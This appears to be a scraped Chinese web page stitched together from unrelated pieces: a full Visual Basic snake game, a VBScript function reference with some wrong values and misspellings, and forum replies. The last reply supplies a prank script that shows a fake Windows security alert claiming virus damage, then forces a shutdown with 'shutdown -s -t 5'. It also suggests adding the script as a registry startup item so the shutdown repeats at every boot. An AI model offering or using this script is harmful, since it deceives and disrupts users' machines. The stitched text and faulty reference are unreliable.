作者:广东在线游戏网日期:
返回目录:游戏资讯
'贪吃蛇游戏全代码,e79fa5e98193e58685e5aeb9336创建个新工程直接复制到代码编辑窗口就行
'按F5看看效果如何
'要Exe文件,就点 文件->生成工程1.exe
Option Explicit
Private WithEvents Timer1 As Timer
Private WithEvents Label1 As Label
Dim GFangXiang As Boolean
Dim HWB As Single
Dim She() As ShenTi
Dim X As Long, Y As Long
Dim ZhuangTai(23, 23) As Long
Private Type ShenTi
F As Long
X As Long
Y As Long
End Type
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
Dim C As Long
If KeyCode = 27 Then End
If KeyCode = 32 Then
If Timer1.Enabled = True Then
Timer1.Enabled = False
Label1.Visible = True
Else
Timer1.Enabled = True
Label1.Visible = False
End If
End If
C = UBound(She)
If GFangXiang = True Then Exit Sub
Select Case KeyCode
Case 37
If She(C).F = 2 Then Exit Sub
She(C).F = 0
GFangXiang = True
Case 38
If She(C).F = 3 Then Exit Sub
She(C).F = 1
GFangXiang = True
Case 39
If She(C).F = 0 Then Exit Sub
She(C).F = 2
GFangXiang = True
Case 40
If She(C).F = 1 Then Exit Sub
She(C).F = 3
GFangXiang = True
End Select
End Sub
Private Sub Form_Load()
Me.AutoRedraw = True
Me.BackColor = &HC000&
Me.FillColor = 255
Me.FillStyle = 0
Me.ScaleWidth = 24
Me.ScaleHeight = 24
Me.WindowState = 2
Set Timer1 = Controls.Add("VB.Timer", "Timer1")
Set Label1 = Controls.Add("VB.Label", "Label1")
Label1.AutoSize = True
Label1.BackStyle = 0
Label1 = "暂停"
Label1.ForeColor = RGB(255, 255, 0)
Label1.FontSize = 50
ChuShiHua
End Sub
Private Sub Form_Resize()
On Error GoTo 1:
With Me
If .WindowState <> 1 Then
.Cls
.ScaleMode = 3
HWB = .ScaleHeight / .ScaleWidth
.ScaleWidth = 24
.ScaleHeight = 24
Label1.Move (Me.ScaleWidth - Label1.Width) / 2, (Me.ScaleHeight - Label1.Height) / 2
HuaTu
Me.Line (X, Y)-(X + 1, Y + 1), RGB(255, 255, 0), BF
End If
End With
1:
End Sub
Private Sub Timer1_Timer()
Dim C As Long, I As Long
On Error GoTo 2:
QingChu
C = UBound(She)
Select Case She(C).F
Case 0
If ZhuangTai(She(C).X - 1, She(C).Y) = 2 Then
C = C + 1
ReDim Preserve She(C)
She(C).F = She(C - 1).F
She(C).X = She(C - 1).X - 1
She(C).Y = She(C - 1).Y
ChanShengShiWu
GoTo 1:
ElseIf ZhuangTai(She(C).X - 1, She(C).Y) = 1 Then
GoTo 2:
End If
Case 1
If ZhuangTai(She(C).X, She(C).Y - 1) = 2 Then
C = C + 1
ReDim Preserve She(C)
She(C).F = She(C - 1).F
She(C).X = She(C - 1).X
She(C).Y = She(C - 1).Y - 1
ChanShengShiWu
GoTo 1:
ElseIf ZhuangTai(She(C).X, She(C).Y - 1) = 1 Then
GoTo 2:
End If
Case 2
If ZhuangTai(She(C).X + 1, She(C).Y) = 2 Then
C = C + 1
ReDim Preserve She(C)
She(C).F = She(C - 1).F
She(C).X = She(C - 1).X + 1
She(C).Y = She(C - 1).Y
ChanShengShiWu
GoTo 1:
ElseIf ZhuangTai(She(C).X + 1, She(C).Y) = 1 Then
GoTo 2:
End If
Case 3
If ZhuangTai(She(C).X, She(C).Y + 1) = 2 Then
C = C + 1
ReDim Preserve She(C)
She(C).F = She(C - 1).F
She(C).X = She(C - 1).X
She(C).Y = She(C - 1).Y + 1
ChanShengShiWu
GoTo 1:
ElseIf ZhuangTai(She(C).X, She(C).Y + 1) = 1 Then
GoTo 2:
End If
End Select
ZhuangTai(She(0).X, She(0).Y) = 0
For I = 0 To C
Select Case She(I).F
Case 0
She(I).X = She(I).X - 1
Case 1
She(I).Y = She(I).Y - 1
Case 2
She(I).X = She(I).X + 1
Case 3
She(I).Y = She(I).Y + 1
End Select
Next
TiaoZheng
1:
GFangXiang = False
ZhuangTai(She(C).X, She(C).Y) = 1
HuaTu
Exit Sub
2:
If MsgBox("游戏结束,点“是”重新开始游戏,点“否”", vbYesNo, "贪吃蛇") = vbYes Then
ChuShiHua
Else
End
End If
End Sub
Private Sub ChuShiHua()
Me.Cls
Timer1.Enabled = True
Timer1.Interval = 200
Erase ZhuangTai
ReDim She(2)
She(0).F = 2
She(0).X = 9
She(0).Y = 11
ZhuangTai(9, 11) = 1
She(1).F = 2
She(1).X = 10
She(1).Y = 11
ZhuangTai(10, 11) = 1
She(2).F = 2
She(2).X = 11
She(2).Y = 11
ZhuangTai(11, 11) = 1
HuaTu
ChanShengShiWu
End Sub
Private Sub QingChu()
Dim I As Long
For I = 0 To UBound(She)
Me.Line (She(I).X, She(I).Y)-(She(I).X + 1, She(I).Y + 1), Me.BackColor, BF
Next
End Sub
Private Sub HuaTu()
Dim I As Long
For I = 0 To UBound(She)
Me.Circle (She(I).X + 0.5, She(I).Y + 0.5), 0.49, RGB(255, 255, 0), , , HWB
Next
End Sub
Private Sub TiaoZheng()
Dim I As Long
For I = 0 To UBound(She) - 1
She(I).F = She(I + 1).F
Next
End Sub
Private Sub ChanShengShiWu()
Randomize Timer
1:
X = Int(Rnd * 24)
Y = Int(Rnd * 24)
If ZhuangTai(X, Y) > 0 Then GoTo 1:
ZhuangTai(X, Y) = 2
Me.Line (X, Y)-(X + 1, Y + 1), RGB(255, 255, 0), BF
End Sub
1.数值型函数:
abs(num): 返回绝对值
sgn(num): num>0 1; num=0 0; num<0 -1;判断数值正负
hex(num): 返回十六进制值 直接表示:&Hxx 最大8位
oct(num): 返回八进制值 直接表示:&Oxx 最大8位
sqr(num): 返回平方根 num>0
int(num): 取整 int(99.8)=99; int(-99.2)=100
fix(num): 取整 fix(99.8)=99; fix(-99.2)=99
round(num,n): 四舍五入取小数位 round(3.14159,3)=3.142 中点数值四舍五入为近偶取整 round(3.25,1)=3.2
log(num): 取以e为底的对数 num>0
exp(n): 取e的n次幂 通常用 num^n
sin(num): 三角函数,以弧度为值计算 (角度*Pai)/180=弧度 con(num); tan(num); atn(num)
2.字符串函数:
len(str):计算字符串长度 中文字符长度也计为一!
mid(str,起始字符,[读取长度]):截取字符串中间子字符串
left(str,nlen):从左边起截取nlen长度子字符串
right(str,nlen):从右边起截取nlen长度子字符串
Lcase(str):字符串转成小写
Ucase(str):字符串转成大写
trim(str):去除字符串两端空格
Ltrim(str):去除字符串左侧空格
Rtrim(str):去除字符串右侧空格
replace(str,查找字符串,替代字符串,[起始字符,替代次数,比较方法]):替换字符串
注:默认值:起始字符 1;替代次数 不限;比较方法 区分大小写(0)
InStr([起始字符,]str,查找字符串[,比较方法]):检测是否包含子字符串 可选参数需同时选 返回起始位置
InStrRev(str,查找字符串[,起始字符][,比较方法]):反向检测是否包含子字符串 返回起始位置
space(n):构造n个空格的字符串
string(n,str):构造由n个str第一个字符组成的字符串
StrReverse(str):反转字符串
split(str,分割字符串[,次数][,比较方法]):以分割字符串为分割标志将字符串转为字符数组 可选参数需同时选
3.数据类型转换函数:
Cint(str):转换正数 True -1;False 0;日期 距离1899/12/31天数;时间 上午段 0;下午段 1;
Cstr(str):日期 输出格式 yyyy/mm/dd;时间 输出格式 Am/Pm hh:mm:ss
Clng(str):与Cin()类似
Cbool(num):num不为零 True;反之 False
Cdate(str):转换日期格式 0:#Am 12:00:00#;正数 距离1899/12/31天数的日期;浮点数 日期+小数时间
Cbyte(num):num<255 转换为字节
Csng(str):转换为单精度e69da5e887aae799bee5baa6332数值
Cdbl(str):转换为双精度数值
Ccur(str):转换为现金格式
4.时间函数:
date:取系统当前日期
time:取系统当前时间
now:取系统当前时间及日期值 Datetime类型
timer:取当前时间距离零点秒值,计时器,可计算时间差
DateAdd(间隔单位,间隔值,日期):推算相邻日期
DateDiff(间隔单位,日期一,日期二):计算时间差 日期二-日期一
Datepart(间隔单位,日期):计算日期的间隔单位值
Dateserial(date):输出日期值(按序列计算)
Timeserial(time):输出时间值(按序列计算)
Datevalue(datetime):取出字符串中日期值
Timevalue(datetime):取出字符串中时间值
weekday(date):计算星期几
MonthName(date):输出月分名
year(datetime):截取年份
month(datetime):截取月份
day(datetime):截取日
hour(datetime):截取小时
minute(datetime):截取分钟
second(datetime):截取秒
5.其它函数:
Array(unit,..):动态生成数组
Asc(str):输出字符串第一个字符的ASCII码
Chr(asc):转换ASCII为字符 Enter:Chr(13)&Chr(10)
Filter(数组名称,关键字符串,[,包含][,比较方法]):
将字符串数组中含有关键字符串的元素存成新的数组(默认) [包含]为false则取不包含的元素
oin(ArrayName):将数组中元素连成字符串
Ubound(ArrayName[,维数]):取得数组相应维数的上界
Lbound(ArrayName[,维数]):取得数组相应维数的下界 一般为0
Randmize n:启动随机数种子
Rnd(n):取得随机数,n>0或为空,取序列下一随机值,n<0,随机值相同,n=0,生产与上一随机值相同的数
取介于A和B之间的随机正数C,公式:C=Int((B-A+1)*Rnd+A) 条件(B>A)
子程序和自定义函数
Sub StrSubName Function StrFunName(arg[1],..)
子程序体 函数体
Exit Sub 中途跳出 Exit Function 中途跳出
End Sub StrFunName=value 返回值
End Function
[call] StrSubName 引用子程序 Var=StrFunName(arg[1],..) 引用函数
哈哈,LS的比较搞笑
先说VBS:
我是学VB的,据说VB和VBS差不了多少,只是VBS没有主界面而已,
VB对网络的支持堪称完美,所以不少的盗号程序都选择用VB来编写,但是其代码量绝对百不是我们可以在百度贴出来的,而且......等等,总之,代度码贴出来是不可能了
再说代码:
LS的你别嫌他的少,他这个是无毒无害,对于对操作系统不通的童鞋来说是挺管用的
如果你觉得太少,就把这个文件在注册表里做成启动项,让它开机就启动,呵呵
如果不够你的意,就这样改:
Msgbox "您的系统已遭病毒破坏,系统5秒后将自动关机关机,请在专关机后24小时重新启动。",16+4096,"Windows安全警报"
Shell "cmd/c shutdown -s -t 5"
佛祖曰:普度众生,这样就行
后面那一句代码是用来关机的,属VBS代码你应该会插入把
创建个文本文档
输入代码
改后缀.txt为.vbs
双击运行即可